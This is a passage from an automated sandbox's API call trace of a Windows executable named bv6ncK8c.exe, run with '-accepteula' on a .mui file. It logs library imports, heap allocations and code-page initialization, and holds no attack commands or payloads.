(hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0112.737] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0112.737] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0112.737] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0112.738] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0112.739] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0112.740] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0112.741] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0112.742] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0112.743] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0112.744] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0112.744] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0112.744] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0112.745] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0112.745] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0112.745] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0112.745] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0112.745] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0112.745] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0112.745] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0112.745] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0112.745] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0112.745] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0112.745] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0112.745] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0112.746] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0112.746] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0112.746] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0112.746] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0112.746] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0112.746] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0112.746] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74310000 [0112.746] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoW") returned 0x743119f4 [0112.746] GetProcAddress (hModule=0x74310000, lpProcName="VerQueryValueW") returned 0x74311b51 [0112.746] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoSizeW") returned 0x743119d9 [0112.746] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0112.755] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0112.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xe6a80720, dwHighDateTime=0x1d5d06a)) [0112.755] GetCurrentThreadId () returned 0xf28 [0112.755] GetCurrentProcessId () returned 0xf24 [0112.755] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=25470715096) returned 1 [0112.755] GetProcessHeap () returned 0x250000 [0112.756] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0112.756] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0112.757] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0112.757] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0112.757] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0112.757] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0112.757] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0112.757] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0112.757] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0112.851] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0112.851] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0112.851] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0112.851] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0112.852] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0112.853] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3bc) returned 0x2660d0 [0112.853] GetCurrentThreadId () returned 0xf28 [0112.853] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x18) returned 0x266498 [0112.853] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x800) returned 0x2664b8 [0112.853] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x9519327, hStdError=0x0)) [0112.853] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0112.853] GetFileType (hFile=0x3) returned 0x2 [0112.854] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0112.854] GetFileType (hFile=0x80) returned 0x3 [0112.854] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0112.854] GetFileType (hFile=0xb) returned 0x2 [0112.854] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"PhotoAcq.dll.mui\" -nobanner" [0112.854] GetEnvironmentStringsW () returned 0x266cc0* [0112.854] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0xb88) returned 0x267850 [0112.855] FreeEnvironmentStringsW (penv=0x266cc0) returned 1 [0112.855] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x7c) returned 0x266cc0 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa0) returned 0x266d48 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3e) returned 0x2683f8 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x6c) returned 0x266df0 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x6e) returned 0x266e68 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x78) returned 0x25f8f0 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x62) returned 0x266ee0 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2e) returned 0x266f50 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x48) returned 0x266f88 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2c) returned 0x266fd8 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x28) returned 0x267010 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1a) returned 0x265aa0 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4a) returned 0x267040 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x72) returned 0x25f970 [0112.855] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x30) returned 0x267098 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2e) returned 0x2670d0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1c) returned 0x265ac8 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xd2) returned 0x267108 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x7c) returned 0x2671e8 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x36) returned 0x267270 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3a) returned 0x268440 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x90) returned 0x2672b0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x24) returned 0x267348 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x30) returned 0x267378 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x36) returned 0x2673b0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x48) returned 0x2673f0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x52) returned 0x267440 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3c) returned 0x268488 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x2674a0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x82) returned 0x2674c0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2e) returned 0x267550 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1e) returned 0x265af0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2c) returned 0x267588 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x54) returned 0x2675c0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x52) returned 0x267620 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2a) returned 0x267680 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3c) returned 0x2684d0 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x54) returned 0x2676b8 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x24) returned 0x267718 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x30) returned 0x267748 [0112.856] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x8c) returned 0x267780 [0112.856] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267850 | out: hHeap=0x250000) returned 1 [0112.857] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x800) returned 0x267818 [0112.857] GetLastError () returned 0x0 [0112.857] SetLastError (dwErrCode=0x0) [0112.857] GetLastError () returned 0x0 [0112.857] SetLastError (dwErrCode=0x0) [0112.857] GetLastError () returned 0x0 [0112.857] SetLastError (dwErrCode=0x0) [0112.857] GetACP () returned 0x4e4 [0112.857] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x220) returned 0x268020 [0112.857] GetLastError () returned 0x0 [0112.857] SetLastError (dwErrCode=0x0) [0112.857] IsValidCodePage (CodePage=0x4e4) returned 1 [0112.857] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0112.857] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0112.857] GetLastError () returned 0x0 [0112.857] SetLastError (dwErrCode=0x0) [0112.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.857] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.857] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0112.858] GetLastError () returned 0x0 [0112.858] SetLastError (dwErrCode=0x0) [0112.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.858] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0112.858] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 